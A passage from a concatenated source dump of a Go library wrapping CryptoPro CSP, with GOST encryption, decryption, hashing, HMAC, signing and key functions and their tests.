CryptVerifyContext) 61 | if err != nil { 62 | return nil, err 63 | } 64 | defer func() { 65 | if err := ctx.Close(); err != nil { 66 | rErr = fmt.Errorf("Encrypting data: %v (original error: %v)", err, rErr) 67 | } 68 | }() 69 | var encryptOID C.LPSTR 70 | if options.EncryptOID != "" { 71 | encryptOID = C.CString(string(options.EncryptOID)) 72 | } else { 73 | encryptOID = C.CString(string(EncryptOIDGost28147)) 74 | } 75 | edp := C.mkEncryptDataParams(ctx.hProv, C.int(len(options.Receivers)), encryptOID) 76 | defer C.freeEncryptDataParams(edp) 77 | 78 | for i, receiverCert := range options.Receivers { 79 | C.setRecipientCert(edp, C.int(i), receiverCert.pCert) 80 | } 81 | var slen C.DWORD 82 | var res []byte 83 | if C.CryptEncryptMessage(&edp.params, C.DWORD(edp.cRecipients), edp.rgRecipientCerts, (*C.BYTE)(&data[0]), C.DWORD(len(data)), nil, &slen) == 0 { 84 | return res, getErr("Error getting encrypted data size") 85 | } 86 | res = make([]byte, slen) 87 | if C.CryptEncryptMessage(&edp.params, C.DWORD(edp.cRecipients), edp.rgRecipientCerts, (*C.BYTE)(&data[0]), C.DWORD(len(data)), (*C.BYTE)(&res[0]), &slen) == 0 { 88 | return nil, getErr("Error getting encrypted data body") 89 | } 90 | return res, nil 91 | } 92 | 93 | // DecryptData decrypts byte slice using provided certificate store for private 94 | // key lookup 95 | func DecryptData(data []byte, store *CertStore) ([]byte, error) { 96 | pdp := C.mkDecryptMessagePara(&store.hStore) 97 | defer C.free(unsafe.Pointer(pdp)) 98 | var slen C.DWORD 99 | if C.CryptDecryptMessage(pdp, (*C.BYTE)(&data[0]), C.DWORD(len(data)), nil, &slen, nil) == 0 { 100 | return nil, getErr("Error getting decrypted data size") 101 | } 102 | res := make([]byte, int(slen)) 103 | if C.CryptDecryptMessage(pdp, (*C.BYTE)(&data[0]), C.DWORD(len(data)), (*C.BYTE)(&res[0]), &slen, nil) == 0 { 104 | return nil, getErr("Error getting decrypted data body") 105 | } 106 | return res, nil 107 | } 108 | 109 | type BlockEncryptedData struct { 110 | IV []byte 111 | CipherText []byte 112 | SessionKey SessionKey 113 | SessionPublicKey []byte 114 | KeyExp C.DWORD 115 | DHParamsOID string 116 | DigestOID string 117 | PublicKeyOID string 118 | } 119 | 120 | type BlockEncryptOptions struct { 121 | Receiver Cert 122 | KeyAlg C.ALG_ID // If not set, C.CALG_DH_GR3410_12_256_EPHEM is used 123 | KeyExp C.DWORD // If not set, C.CALG_PRO_EXPORT is used 124 | } 125 | 126 | const publicKeyLength = 64 127 | 128 | func BlockEncrypt(opts BlockEncryptOptions, data []byte) (BlockEncryptedData, error) { 129 | res := BlockEncryptedData{ 130 | KeyExp: opts.KeyExp, 131 | } 132 | if opts.Receiver.IsZero() { 133 | return res, fmt.Errorf("receiver certificate not specified") 134 | } 135 | res.PublicKeyOID = opts.Receiver.Info().PublicKeyAlgorithm() 136 | var provType ProvType 137 | switch res.PublicKeyOID { 138 | case GOSTR341012256: 139 | provType = ProvGost2012 140 | default: 141 | provType = ProvGost2012_512 142 | } 143 | if opts.KeyExp == 0 { 144 | opts.KeyExp = C.CALG_PRO_EXPORT 145 | } 146 | if opts.KeyAlg == 0 { 147 | if provType == ProvGost2012 { 148 | opts.KeyAlg = C.CALG_DH_GR3410_12_256_EPHEM 149 | } else { 150 | opts.KeyAlg = C.CALG_DH_GR3410_12_512_EPHEM 151 | } 152 | } 153 | var ( 154 | ctx Ctx 155 | err error 156 | ) 157 | ctx, err = AcquireCtx("", "", provType, CryptVerifyContext) 158 | if err != nil { 159 | return res, err 160 | } 161 | defer ctx.Close() 162 | pubKey, err := ctx.ImportPublicKeyInfo(opts.Receiver) 163 | if err != nil { 164 | return res, err 165 | } 166 | defer pubKey.Close() 167 | keyData, err := pubKey.Encode(nil) 168 | if err != nil { 169 | return res, err 170 | } 171 | dhoid, err := pubKey.GetDHOID() 172 | if err != nil { 173 | return res, fmt.Errorf("getting receiver's key DH: %w", err) 174 | } 175 | res.DHParamsOID = dhoid 176 | digestOID, err := pubKey.GetHashOID() 177 | if err != nil { 178 | return res, fmt.Errorf("getting receiver's key hash alg ID: %w", err) 179 | } 180 | res.DigestOID = digestOID 181 | if err := ctx.SetDHOID(dhoid); err != nil { 182 | return res, fmt.Errorf("setting context DH OID: %w", err) 183 | } 184 | ephemKey, err := ctx.GenKey(KeyPairID(opts.KeyAlg), C.CRYPT_EXPORTABLE) 185 | if err != nil { 186 | return res, fmt.Errorf("generating ephemeral key: %w", err) 187 | } 188 | defer ephemKey.Close() 189 | res.SessionPublicKey, err = ephemKey.Encode(nil) 190 | if err != nil { 191 | return res, fmt.Errorf("encoding ephemeral key: %w", err) 192 | } 193 | res.SessionPublicKey = res.SessionPublicKey[len(res.SessionPublicKey)-publicKeyLength:] 194 | agreeKey, err := ctx.ImportKey(keyData, &ephemKey) 195 | if err != nil { 196 | return res, fmt.Errorf("importing session public key: %w", err) 197 | } 198 | defer agreeKey.Close() 199 | if err := agreeKey.SetAlgID(opts.KeyExp); err != nil { 200 | return res, fmt.Errorf("setting algorithm ID to agree key: %w", err) 201 | } 202 | sessionKey, err := ctx.GenKey(C.CALG_G28147, C.CRYPT_EXPORTABLE) 203 | if err != nil { 204 | return res, fmt.Errorf("generating session key: %w", err) 205 | } 206 | defer sessionKey.Close() 207 | sessKey, err := sessionKey.Encode(&agreeKey) 208 | if err != nil { 209 | return res, fmt.Errorf("encoding session key: %w", err) 210 | } 211 | if res.SessionKey, err = sessKey.ToSessionKey(); err != nil { 212 | return res, fmt.Errorf("exporting session key: %w", err) 213 | } 214 | if err := sessionKey.SetMode(C.CRYPT_MODE_CBC); err != nil { 215 | return res, fmt.Errorf("setting session key mode CBC: %w", err) 216 | } 217 | if err := sessionKey.SetPadding(C.ISO10126_PADDING); err != nil { 218 | return res, fmt.Errorf("setting session key padding: %w", err) 219 | } 220 | res.IV, err = sessionKey.GetParam(C.KP_IV) 221 | if err != nil { 222 | return res, fmt.Errorf("getting session key IV: %w", err) 223 | } 224 | res.CipherText, err = sessionKey.Encrypt(data, nil) 225 | if err != nil { 226 | return res, fmt.Errorf("encrypting ciphertext: %w", err) 227 | } 228 | return res, nil 229 | } 230 | 231 | func BlockDecrypt(recipient Cert, data BlockEncryptedData) ([]byte, error) { 232 | ctx, err := recipient.Context() 233 | if err != nil { 234 | return nil, fmt.Errorf("getting recipient certificate context: %w", err) 235 | } 236 | defer ctx.Close() 237 | userKey, err := ctx.Key(C.AT_KEYEXCHANGE) 238 | if err != nil { 239 | return nil, fmt.Errorf("getting user key: %+v", err) 240 | } 241 | defer userKey.Close() 242 | if data.KeyExp == 0 { 243 | data.KeyExp = C.CALG_PRO_EXPORT 244 | } 245 | graftedPublicKey, err := userKey.Encode(nil) 246 | if err != nil { 247 | return nil, fmt.Errorf("encoding user key: %+v", err) 248 | } 249 | // HAHAHAHACKY 250 | copy(graftedPublicKey[len(graftedPublicKey)-publicKeyLength:], data.SessionPublicKey) 251 | agreeKey, err := ctx.ImportKey(graftedPublicKey, &userKey) 252 | if err != nil { 253 | return nil, fmt.Errorf("importing agree key: %+v", err) 254 | } 255 | defer agreeKey.Close() 256 | if err = agreeKey.SetAlgID(data.KeyExp); err != nil { 257 | return nil, fmt.Errorf("setting algorithm ID to agree key: %+v", err) 258 | } 259 | sb := data.SessionKey.ToSimpleBlob() 260 | sessionKey, err := ctx.ImportKey(sb, &agreeKey) 261 | if err != nil { 262 | return nil, fmt.Errorf("importing session key: %+v", err) 263 | } 264 | defer sessionKey.Close() 265 | if err := sessionKey.SetIV(data.IV); err != nil { 266 | return nil, fmt.Errorf("setting session key IV: %+v", err) 267 | } 268 | if err := sessionKey.SetMode(C.CRYPT_MODE_CBC); err != nil { 269 | return nil, fmt.Errorf("setting session key CBC mode: %+v", err) 270 | } 271 | if err := sessionKey.SetPadding(C.ISO10126_PADDING); err != nil { 272 | return nil, fmt.Errorf("setting session key padding: %+v", err) 273 | } 274 | return sessionKey.Decrypt(data.CipherText, nil) 275 | } 276 | -------------------------------------------------------------------------------- /csp/data_encrypt_test.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | import ( 4 | "bytes" 5 | "encoding/pem" 6 | "fmt" 7 | "io/ioutil" 8 | "path/filepath" 9 | "testing" 10 | 11 | "gopkg.in/tylerb/is.v1" 12 | ) 13 | 14 | func TestEncryptData(t *testing.T) { 15 | if signCertThumb == "" { 16 | t.Skip("certificate for encrypt test not provided") 17 | } 18 | is := is.New(t) 19 | 20 | store, err := SystemStore("MY") 21 | is.NotErr(err) 22 | defer store.Close() 23 | 24 | crt, err := store.GetByThumb(signCertThumb) 25 | is.NotErr(err) 26 | defer crt.Close() 27 | 28 | var data []byte 29 | testData := "Test string" 30 | t.Run("encrypt data bytes", func(t *testing.T) { 31 | data, err = EncryptData([]byte(testData), EncryptOptions{ 32 | Receivers: []Cert{crt}, 33 | EncryptOID: EncryptOIDMagma, 34 | }) 35 | is.NotErr(err) 36 | is.NotZero(data) 37 | }) 38 | t.Run("decrypt data bytes", func(t *testing.T) { 39 | res, err := DecryptData(data, store) 40 | is.NotErr(err) 41 | is.Equal(string(res), testData) 42 | }) 43 | } 44 | 45 | func BenchmarkEncryptData(b *testing.B) { 46 | if signCertThumb == "" { 47 | b.Skip("certificate for sign test not provided") 48 | } 49 | b.ReportAllocs() 50 | store, err := SystemStore("MY") 51 | if err != nil { 52 | panic(err) 53 | } 54 | defer store.Close() 55 | crt, err := store.GetByThumb(signCertThumb) 56 | if err != nil { 57 | panic(err) 58 | } 59 | defer crt.Close() 60 | testData := "Test string" 61 | for i := 0; i < b.N; i++ { 62 | data, err := EncryptData([]byte(testData), EncryptOptions{ 63 | Receivers: []Cert{crt}, 64 | }) 65 | if err != nil { 66 | panic(err) 67 | } 68 | if len(data) == 0 { 69 | panic("zero data") 70 | } 71 | } 72 | } 73 | 74 | func BenchmarkDecryptData(b *testing.B) { 75 | if signCertThumb == "" { 76 | b.Skip("certificate for sign test not provided") 77 | } 78 | b.ReportAllocs() 79 | store, err := SystemStore("MY") 80 | if err != nil { 81 | panic(err) 82 | } 83 | defer store.Close() 84 | crt, err := store.GetByThumb(signCertThumb) 85 | if err != nil { 86 | panic(err) 87 | } 88 | defer crt.Close() 89 | testData := "Test string" 90 | data, err := EncryptData([]byte(testData), EncryptOptions{ 91 | Receivers: []Cert{crt}, 92 | }) 93 | if err != nil { 94 | panic(err) 95 | } 96 | for i := 0; i < b.N; i++ { 97 | res, err := DecryptData(data, store) 98 | if err != nil { 99 | panic(err) 100 | } 101 | if string(res) != testData { 102 | panic("data is not decrypted correctly") 103 | } 104 | } 105 | } 106 | 107 | func TestBlockEncryptData(t *testing.T) { 108 | if signCertThumb == "" { 109 | t.Skip("certificate for encrypt test not provided") 110 | } 111 | is := is.New(t) 112 | 113 | store, err := SystemStore("MY") 114 | is.NotErr(err) 115 | defer store.Close() 116 | 117 | crt, err := store.GetByThumb(signCertThumb) 118 | is.NotErr(err) 119 | defer crt.Close() 120 | 121 | var data BlockEncryptedData 122 | testData := "Test string" 123 | t.Run("encrypt data bytes", func(t *testing.T) { 124 | data, err = BlockEncrypt(BlockEncryptOptions{ 125 | Receiver: crt, 126 | }, []byte(testData)) 127 | is.NotErr(err) 128 | is.NotZero(data.CipherText) 129 | t.Logf("%#v", data) 130 | t.Logf("%d", len(data.SessionPublicKey)) 131 | }) 132 | 133 | transport, err := data.ToGOST2001KeyTransportASN1() 134 | if err != nil { 135 | t.Fatal(err.Error()) 136 | } 137 | t.Logf("%#v", transport) 138 | t.Run("decrypt data bytes", func(t *testing.T) { 139 | dataStream := make([]byte, len(data.CipherText)+len(data.IV)) 140 | copy(dataStream, data.IV) 141 | copy(dataStream[len(data.IV):], data.CipherText) 142 | blockEncryptedData, err := transport.ToBlockEncryptedData(dataStream) 143 | if err != nil { 144 | t.Fatal(err) 145 | } 146 | t.Logf("%#v", blockEncryptedData) 147 | t.Logf("%d", len(blockEncryptedData.SessionPublicKey)) 148 | data, err := BlockDecrypt(crt, blockEncryptedData) 149 | if err != nil { 150 | t.Fatal(err) 151 | } 152 | if !bytes.Equal(data, []byte(testData)) { 153 | t.Error("decrypted data does not match") 154 | } 155 | }) 156 | } 157 | 158 | func autoDecode(src []byte) ([]byte, error) { 159 | if !bytes.HasPrefix(src, []byte("-----")) { 160 | return src, nil 161 | } 162 | block, _ := pem.Decode(src) 163 | if block == nil || block.Type != "CERTIFICATE" { 164 | return nil, fmt.Errorf("неверный формат PEM") 165 | } 166 | return block.Bytes, nil 167 | } 168 | 169 | func TestBlockEncryptForCert(t *testing.T) { 170 | certData, err := ioutil.ReadFile("testdata/dest.crt") 171 | if err != nil { 172 | t.Skip(err.Error()) 173 | } 174 | certBytes, err := autoDecode(certData) 175 | if err != nil { 176 | t.Fatal(err) 177 | } 178 | crt, err := ParseCert(certBytes) 179 | if err != nil { 180 | t.Fatal(err) 181 | } 182 | var data BlockEncryptedData 183 | testData := "Test string" 184 | t.Run("encrypt data bytes", func(t *testing.T) { 185 | data, err = BlockEncrypt(BlockEncryptOptions{ 186 | Receiver: crt, 187 | }, []byte(testData)) 188 | if err != nil { 189 | t.Error(err.Error()) 190 | } 191 | t.Logf("%#v", data) 192 | }) 193 | } 194 | 195 | func TestBlockDecryptDataFile(t *testing.T) { 196 | if signCertThumb == "" { 197 | t.Skip("certificate for encrypt test not provided") 198 | } 199 | is := is.New(t) 200 | 201 | store, err := SystemStore("MY") 202 | is.NotErr(err) 203 | defer store.Close() 204 | 205 | crt, err := store.GetByThumb(signCertThumb) 206 | is.NotErr(err) 207 | defer crt.Close() 208 | 209 | data := BlockEncryptedData{} 210 | pkBlob, err := ioutil.ReadFile("testdata/session_PublicKey.bin") 211 | if err != nil { 212 | t.Fatal(err) 213 | } 214 | data.SessionPublicKey = pkBlob[len(pkBlob)-64:] 215 | if data.IV, err = ioutil.ReadFile("testdata/vector.bin"); err != nil { 216 | t.Fatal(err) 217 | } 218 | if data.CipherText, err = ioutil.ReadFile("testdata/encrypt.bin"); err != nil { 219 | t.Fatal(err) 220 | } 221 | if data.SessionKey.EncryptedKey, err = ioutil.ReadFile("testdata/session_EncryptedKey.bin"); err != nil { 222 | t.Fatal(err) 223 | } 224 | if data.SessionKey.SeanceVector, err = ioutil.ReadFile("testdata/session_SV.bin"); err != nil { 225 | t.Fatal(err) 226 | } 227 | if data.SessionKey.MACKey, err = ioutil.ReadFile("testdata/session_MacKey.bin"); err != nil { 228 | t.Fatal(err) 229 | } 230 | if data.SessionKey.EncryptionParamSet, err = ioutil.ReadFile("testdata/EncryptionParam.bin"); err != nil { 231 | t.Fatal(err) 232 | } 233 | _, err = BlockDecrypt(crt, data) 234 | if err != nil { 235 | t.Fatal(err) 236 | } 237 | } 238 | 239 | func TestDecryptData_NewAlg(t *testing.T) { 240 | store, err := SystemStore("MY") 241 | if err != nil { 242 | t.Fatal(err) 243 | } 244 | defer store.Close() 245 | for _, tc := range []string{ 246 | "testdata/0e5d3163fecf404ea0c67d09c5e3ab9e.bin", 247 | "testdata/4028f91308c24f26914217b84cfdc6fe.bin", 248 | "testdata/c91f4f27c4764d3b821f475297ec16d1.bin", 249 | "testdata/1cd658e184a74f1c899144a4a69fdb21.bin", 250 | } { 251 | t.Run(filepath.Base(tc), func(t *testing.T) { 252 | data, err := ioutil.ReadFile(tc) 253 | if err != nil { 254 | t.Fatal(err) 255 | } 256 | res, err := DecryptData(data, store) 257 | if err != nil { 258 | t.Fatal(err) 259 | } 260 | ioutil.WriteFile(tc+".decr", res, 0664) 261 | }) 262 | } 263 | } 264 | -------------------------------------------------------------------------------- /csp/fixtures/msg-decode-certs.golden: -------------------------------------------------------------------------------- 1 | cert thumb 0: 5d82568f10ff71241bdf52421c3891f5c23f3834 2 | -------------------------------------------------------------------------------- /csp/fixtures/msg-decode-logical.golden: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reliableproje/go-cryptoapi/4f40d693fd292a5c204da3da436ae0c268d9a534/csp/fixtures/msg-decode-logical.golden -------------------------------------------------------------------------------- /csp/hash.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | /* 4 | #include "common.h" 5 | 6 | */ 7 | import "C" 8 | 9 | import ( 10 | "encoding/asn1" 11 | "hash" 12 | "unsafe" 13 | ) 14 | 15 | // Hash encapsulates GOST hash 16 | type Hash struct { 17 | hHash C.HCRYPTHASH 18 | hKey C.HCRYPTKEY 19 | hProv C.HCRYPTPROV 20 | algID C.ALG_ID 21 | dwKeySpec C.DWORD 22 | mustReleaseCtx C.BOOL 23 | keyHash *Hash 24 | } 25 | 26 | var _ hash.Hash = (*Hash)(nil) 27 | 28 | // HashOptions describe hash creation parameters 29 | type HashOptions struct { 30 | HashAlg asn1.ObjectIdentifier // Hash algorithm ID 31 | SignCert Cert // Certificate with a reference to private key container used to sign the hash 32 | HMACKey Key // HMAC key for creating hash in HMAC mode 33 | } 34 | 35 | func (ho *HashOptions) cAlg(hmac bool) C.ALG_ID { 36 | switch { 37 | case GOST_R3411.Equal(ho.HashAlg): 38 | if hmac { 39 | return C.CALG_GR3411_HMAC 40 | } 41 | return C.CALG_GR3411 42 | case GOST_R3411_12_512.Equal(ho.HashAlg): 43 | if hmac { 44 | return C.CALG_GR3411_2012_512_HMAC 45 | } 46 | return C.CALG_GR3411_2012_512 47 | } 48 | if hmac { 49 | return C.CALG_GR3411_2012_256_HMAC 50 | } 51 | return C.CALG_GR3411_2012_256 52 | } 53 | 54 | func NewHash(options HashOptions) (*Hash, error) { 55 | res := &Hash{algID: options.cAlg(!options.HMACKey.IsZero())} 56 | if !options.HMACKey.IsZero() { 57 | res.hKey = options.HMACKey.hKey 58 | } 59 | if options.SignCert.IsZero() { 60 | ctx, err := AcquireCtx("", "", ProvGost2012_512, CryptVerifyContext) 61 | if err != nil { 62 | return nil, err 63 | } 64 | res.hProv = ctx.hProv 65 | res.mustReleaseCtx = C.TRUE 66 | } else if C.CryptAcquireCertificatePrivateKey(options.SignCert.pCert, 0, nil, &res.hProv, &res.dwKeySpec, &res.mustReleaseCtx) == 0 { 67 | return nil, getErr("Error acquiring certificate private key") 68 | } 69 | if C.CryptCreateHash(res.hProv, res.algID, res.hKey, 0, &res.hHash) == 0 { 70 | return nil, getErr("Error creating hash") 71 | } 72 | return res, nil 73 | } 74 | 75 | func (h *Hash) Close() error { 76 | if C.CryptDestroyHash(h.hHash) == 0 { 77 | return getErr("Error destroying hash") 78 | } 79 | if h.mustReleaseCtx != 0 && C.CryptReleaseContext(h.hProv, 0) == 0 { 80 | return getErr("Error releasing context") 81 | } 82 | if h.keyHash != nil { 83 | return h.keyHash.Close() 84 | } 85 | return nil 86 | } 87 | 88 | func write(dest C.HCRYPTHASH, buf []byte) (n int, err error) { 89 | var ptr unsafe.Pointer 90 | if n = len(buf); n > 0 { 91 | ptr = unsafe.Pointer(&buf[0]) 92 | } 93 | if C.CryptHashData(dest, (*C.BYTE)(ptr), C.DWORD(len(buf)), 0) == 0 { 94 | return 0, getErr("Error updating hash") 95 | } 96 | return n, nil 97 | } 98 | 99 | func (h *Hash) Write(buf []byte) (n int, err error) { 100 | return write(h.hHash, buf) 101 | } 102 | 103 | // Sum appends the current hash to b and returns the resulting slice. 104 | // It does not change the underlying hash state. 105 | func (h *Hash) Sum(b []byte) []byte { 106 | var hHash C.HCRYPTHASH 107 | if C.CryptDuplicateHash(h.hHash, nil, 0, &hHash) == 0 { 108 | panic(getErr("Error duplicating hash")) 109 | } 110 | defer func() { 111 | if C.CryptDestroyHash(hHash) == 0 { 112 | panic(getErr("Error destroying hash")) 113 | } 114 | }() 115 | if _, err := write(hHash, b); err != nil { 116 | panic(err) 117 | } 118 | var n C.DWORD 119 | slen := C.DWORD(C.sizeof_DWORD) 120 | if C.CryptGetHashParam(hHash, C.HP_HASHSIZE, (*C.uchar)(unsafe.Pointer(&n)), &slen, 0) == 0 { 121 | panic(getErr("Error getting hash size")) 122 | } 123 | res := make([]byte, int(n)) 124 | if C.CryptGetHashParam(hHash, C.HP_HASHVAL, (*C.BYTE)(&res[0]), &n, 0) == 0 { 125 | panic(getErr("Error getting hash value")) 126 | } 127 | return res 128 | } 129 | 130 | // Reset resets the Hash to its initial state. 131 | func (h *Hash) Reset() { 132 | if h.hHash != 0 && C.CryptDestroyHash(h.hHash) == 0 { 133 | panic(getErr("Error destroying hash")) 134 | } 135 | if C.CryptCreateHash(h.hProv, h.algID, h.hKey, 0, &h.hHash) == 0 { 136 | panic(getErr("Error creating hash")) 137 | } 138 | } 139 | 140 | // Size returns the number of bytes Sum will return. 141 | func (h *Hash) Size() int { 142 | if h.algID == C.CALG_GR3411_2012_512 { 143 | return 64 144 | } 145 | return 32 146 | } 147 | 148 | // BlockSize returns the hash's underlying block size. 149 | // The Write method must be able to accept any amount 150 | // of data, but it may operate more efficiently if all writes 151 | // are a multiple of the block size. 152 | func (h *Hash) BlockSize() int { 153 | if h.algID == C.CALG_GR3411 { 154 | return 32 155 | } 156 | return 64 157 | } 158 | 159 | func (h *Hash) Sign() ([]byte, error) { 160 | var slen C.DWORD 161 | if C.CryptSignHash(h.hHash, h.dwKeySpec, nil, 0, nil, &slen) == 0 { 162 | return nil, getErr("Error calculating signature size") 163 | } 164 | if slen == 0 { 165 | return nil, nil 166 | } 167 | res := make([]byte, int(slen)) 168 | if C.CryptSignHash(h.hHash, h.dwKeySpec, nil, 0, (*C.BYTE)(&res[0]), &slen) == 0 { 169 | return nil, getErr("Error calculating signature value") 170 | } 171 | return res, nil 172 | } 173 | 174 | func (h *Hash) Verify(signer Cert, sig []byte) error { 175 | var hPubKey C.HCRYPTKEY 176 | // Get the public key from the certificate 177 | if C.CryptImportPublicKeyInfo(h.hProv, C.MY_ENC_TYPE, &signer.pCert.pCertInfo.SubjectPublicKeyInfo, &hPubKey) == 0 { 178 | return getErr("Error getting certificate public key handle") 179 | } 180 | var ptr unsafe.Pointer 181 | if len(sig) > 0 { 182 | ptr = unsafe.Pointer(&sig[0]) 183 | } 184 | if C.CryptVerifySignature(h.hHash, (*C.BYTE)(ptr), C.DWORD(len(sig)), hPubKey, nil, 0) == 0 { 185 | return getErr("Error verifying hash signature") 186 | } 187 | return nil 188 | } 189 | 190 | // NewHMAC creates HMAC object initialized with given byte key 191 | func NewHMAC(hashAlg asn1.ObjectIdentifier, key []byte) (_ *Hash, rErr error) { 192 | opts := HashOptions{HashAlg: hashAlg} 193 | keyHash, err := NewHash(opts) 194 | if err != nil { 195 | return nil, err 196 | } 197 | defer func() { 198 | if rErr != nil { 199 | keyHash.Close() 200 | } 201 | }() 202 | if _, err := keyHash.Write(key); err != nil { 203 | return nil, err 204 | } 205 | if C.CryptDeriveKey(keyHash.hProv, C.CALG_G28147, keyHash.hHash, C.CRYPT_EXPORTABLE, &opts.HMACKey.hKey) == 0 { 206 | return nil, getErr("Error deriving key") 207 | } 208 | res, err := NewHash(opts) 209 | if err != nil { 210 | return nil, err 211 | } 212 | res.keyHash = keyHash 213 | return res, nil 214 | } 215 | -------------------------------------------------------------------------------- /csp/hash_test.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | import ( 4 | "bytes" 5 | "encoding/asn1" 6 | "errors" 7 | "fmt" 8 | "testing" 9 | 10 | "github.com/andviro/goldie" 11 | ) 12 | 13 | func TestHash_Sum(t *testing.T) { 14 | buf := new(bytes.Buffer) 15 | for _, algo := range []asn1.ObjectIdentifier{GOST_R3411, GOST_R3411_12_256, GOST_R3411_12_512} { 16 | for _, testStr := range []string{"", "some test string"} { 17 | func() { 18 | h, err := NewHash(HashOptions{HashAlg: algo}) 19 | if err != nil { 20 | t.Error(err) 21 | return 22 | } 23 | defer func() { 24 | if err := h.Close(); err != nil { 25 | t.Error(err) 26 | } 27 | }() 28 | fmt.Fprintf(h, "%s", testStr) 29 | fmt.Fprintf(buf, "%s %d %q %x\n", algo, h.Size()*8, testStr, h.Sum(nil)) 30 | }() 31 | } 32 | } 33 | goldie.Assert(t, "hash-sum", buf.Bytes()) 34 | } 35 | 36 | func TestHash_HMAC_Sum(t *testing.T) { 37 | buf := new(bytes.Buffer) 38 | for _, algo := range []asn1.ObjectIdentifier{GOST_R3411, GOST_R3411_12_256, GOST_R3411_12_512} { 39 | for _, testKey := range []string{"", "1234", "some other key"} { 40 | for _, testStr := range []string{"", "The quick brown fox jumps over the lazy dog"} { 41 | func() { 42 | h, err := NewHMAC(algo, ([]byte)(testKey)) 43 | if err != nil { 44 | t.Error(err) 45 | return 46 | } 47 | defer func() { 48 | if err := h.Close(); err != nil { 49 | t.Error(err) 50 | } 51 | }() 52 | fmt.Fprintf(buf, "%s %q %q %x\n", algo, testKey, testStr, h.Sum(([]byte)(testStr))) 53 | }() 54 | } 55 | } 56 | } 57 | goldie.Assert(t, "hash-hmac-sum", buf.Bytes()) 58 | } 59 | 60 | func TestSignHash(t *testing.T) { 61 | if signCertThumb == "" { 62 | t.Skip("certificate for sign test not provided") 63 | } 64 | store, err := SystemStore("MY") 65 | if err != nil { 66 | t.Fatal(err) 67 | } 68 | defer store.Close() 69 | crt, err := store.GetByThumb(signCertThumb) 70 | if err != nil { 71 | t.Fatal(err) 72 | } 73 | defer crt.Close() 74 | testData := "Test string" 75 | hash, err := NewHash(HashOptions{SignCert: crt}) 76 | if err != nil { 77 | t.Fatal(err) 78 | } 79 | defer func(hash *Hash) { 80 | if err := hash.Close(); err != nil { 81 | t.Fatal(err) 82 | } 83 | }(hash) 84 | fmt.Fprintf(hash, "%s", testData) 85 | sig, err := hash.Sign() 86 | if err != nil { 87 | t.Fatal(err) 88 | } 89 | if len(sig) == 0 { 90 | t.Fatal("empty signature") 91 | } 92 | t.Logf("signature: %x", sig) 93 | hash, err = NewHash(HashOptions{}) 94 | if err != nil { 95 | t.Fatal(err) 96 | } 97 | defer func(hash *Hash) { 98 | if err := hash.Close(); err != nil { 99 | t.Fatal(err) 100 | } 101 | }(hash) 102 | fmt.Fprintf(hash, "%s", testData) 103 | if err := hash.Verify(crt, sig); err != nil { 104 | t.Errorf("%+v", err) 105 | } 106 | hash.Reset() 107 | fmt.Fprintf(hash, "%s", "wrong data") 108 | var cryptErr Error 109 | if err := hash.Verify(crt, sig); !errors.As(err, &cryptErr) { 110 | t.Errorf("expected crypto Error, got %+v", err) 111 | } else if cryptErr.Code != 0x80090006 { 112 | t.Errorf("expected error 0x80090006, got %x", cryptErr.Code) 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /csp/key.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | //#include "common.h" 4 | import "C" 5 | 6 | import ( 7 | "unsafe" 8 | ) 9 | 10 | // KeyFlag sets options on created key pair 11 | type KeyFlag C.DWORD 12 | 13 | // Key flags 14 | const ( 15 | KeyArchivable KeyFlag = C.CRYPT_ARCHIVABLE 16 | KeyExportable KeyFlag = C.CRYPT_EXPORTABLE 17 | // KeyForceProtectionHigh KeyFlag = C.CRYPT_FORCE_KEY_PROTECTION_HIGH 18 | ) 19 | 20 | // KeyPairID selects public/private key pair from CSP container 21 | type KeyPairID C.DWORD 22 | 23 | // Key specification 24 | const ( 25 | AtKeyExchange KeyPairID = C.AT_KEYEXCHANGE 26 | AtSignature KeyPairID = C.AT_SIGNATURE 27 | ) 28 | 29 | // KeyParamID represents key parameters that can be retrieved for key. 30 | type KeyParamID C.DWORD 31 | 32 | // Certificate parameter IDs 33 | const ( 34 | KeyCertificateParam KeyParamID = C.KP_CERTIFICATE // X.509 certificate that has been encoded by using DER 35 | ) 36 | 37 | // Key incapsulates key pair functions 38 | type Key struct { 39 | hKey C.HCRYPTKEY 40 | } 41 | 42 | func (key Key) IsZero() bool { 43 | return key.hKey == 0 44 | } 45 | 46 | // Key extracts public key from container represented by context ctx, from 47 | // key pair given by at parameter. It must be released after use by calling 48 | // Close method. 49 | func (ctx Ctx) Key(at KeyPairID) (res Key, err error) { 50 | if C.CryptGetUserKey(ctx.hProv, C.DWORD(at), &res.hKey) == 0 { 51 | err = getErr("Error getting key for container") 52 | return 53 | } 54 | return 55 | } 56 | 57 | // GenKey generates public/private key pair for given context. Flags parameter 58 | // determines if generated key will be exportable or archivable and at 59 | // parameter determines KeyExchange or Signature key pair. Resulting key must 60 | // be eventually closed by calling Close. 61 | func (ctx Ctx) GenKey(at KeyPairID, flags KeyFlag) (res Key, err error) { 62 | if C.CryptGenKey(ctx.hProv, C.ALG_ID(at), C.DWORD(flags), &res.hKey) == 0 { 63 | // BUG: CryptGenKey raises error NTE_FAIL. Looking into it... 64 | err = getErr("Error creating key for container") 65 | return 66 | } 67 | return 68 | } 69 | 70 | // GetParam retrieves data that governs the operations of a key. 71 | func (key Key) GetParam(param KeyParamID) (res []byte, err error) { 72 | var slen C.DWORD 73 | if C.CryptGetKeyParam(key.hKey, C.DWORD(param), nil, &slen, 0) == 0 { 74 | err = getErr("Error getting param's value length for key") 75 | return 76 | } 77 | 78 | buf := make([]byte, slen) 79 | if C.CryptGetKeyParam(key.hKey, C.DWORD(param), (*C.BYTE)(unsafe.Pointer(&buf[0])), &slen, 0) == 0 { 80 | err = getErr("Error getting param for key") 81 | return 82 | } 83 | 84 | res = buf[0:int(slen)] 85 | return 86 | } 87 | 88 | // SetCipherOID sets key's cipher OID 89 | func (key Key) SetCipherOID(oid []byte) error { 90 | if C.CryptSetKeyParam(key.hKey, C.KP_CIPHEROID, (*C.BYTE)(unsafe.Pointer(&oid[0])), 0) == 0 { 91 | return getErr("Error setting cipher OID for key") 92 | } 93 | return nil 94 | } 95 | 96 | // GetCipherOID retrieves key's cipher OID 97 | func (key Key) GetCipherOID() ([]byte, error) { 98 | return key.GetParam(C.KP_CIPHEROID) 99 